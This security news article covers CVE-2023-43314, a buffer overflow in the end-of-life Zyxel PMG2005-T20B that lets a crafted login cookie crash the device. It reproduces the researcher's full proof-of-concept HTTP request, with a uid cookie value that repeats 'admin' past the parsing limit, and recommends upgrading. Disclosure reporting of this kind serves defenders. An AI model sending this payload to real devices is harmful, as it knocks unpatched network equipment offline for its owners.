ZYXEL has been discovered with a Buffer Overflow vulnerability on their ZYXEL-PMG2005-T20B device, which can result in a denial-of-service condition. This condition exists due to improper sanitization of user-supplied input on their HTTP request.
Zyxel is a Taiwanese multinational company that manufactures several networking products like Routers, DSL CPE, WiFi Systems, 5G NR/4G LTE CPE, Carrier and Access Switches, Network Extenders, and Network Management devices.
A threat actor can exploit this vulnerability by providing a crafted script to the uid parameter in the cgi-bin/login.asp, leading to a Buffer Overflow, eventually causing the DoS condition. This vulnerability has been assigned with the CVE as CVE-2023-43314, and the severity is being analyzed.
This vulnerability arises in the ZYXEL-PMG2005-T20B product when the number of admin in the uid exceeds the maximum threshold of 50, which crashes the application when parsed in the backend. Additionally, the COOKIE header in the HTTP request is supplied with a SESSIONID parameter for creating a valid session with the ZYXEL product.
However, further analysis revealed that the ZYXEL-PMG2005-T20B product has reached End-of-Life as per the ZyXEL website.
The researcher created an HTTP request to replicate this vulnerability with the following parameters and values.
| GET /cgi-bin/index.asp HTTP/1.1 Host: {HOST IP} Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://{HOST IP}/cgi-bin/login.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SESSIONID=4450a48a; uid=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin; psw=1234 Connection: close |
This request to the ZyXEL product causes the Buffer Overflow due to the number of admin thresholds resulting in the Denial of Service condition. In addition to this, more than 20 URLs were listed by the security researcher, which were affected by the same vulnerability.
A GitHub repository, along with the proof-of-concept was published, which provides detailed information about this vulnerability, its existence, and other information.
Users of this ZyXEL product are recommended to upgrade to the latest version of the product in order to prevent this vulnerability from getting exploited.
Protect yourself from vulnerabilities using Patch Manager Plus to quickly patch over 850 third-party applications. Take advantage of the free trial to ensure 100% security.
A very important message from the Norwegian National Cyber Security Centre (NCSC) says that Secure Socket Layer/Transport Layer Security (SSL/TLS)…
Linux is widely used in numerous servers, cloud infrastructure, and Internet of Things devices, which makes it an attractive target…
ViperSoftX malware, known for stealing cryptocurrency information, now leverages Tesseract, an open-source OCR engine, to target infected systems, which extracts…
Santander has confirmed that there was a major data breach that affected its workers and customers in Spain, Uruguay, and…
The U.S. government has offered a prize of up to $5 million for information that leads to the arrest and…
Russia leverages a mix of state-backed Advanced Persistent Threat (APT) groups and financially motivated cybercriminals to achieve its strategic goals,…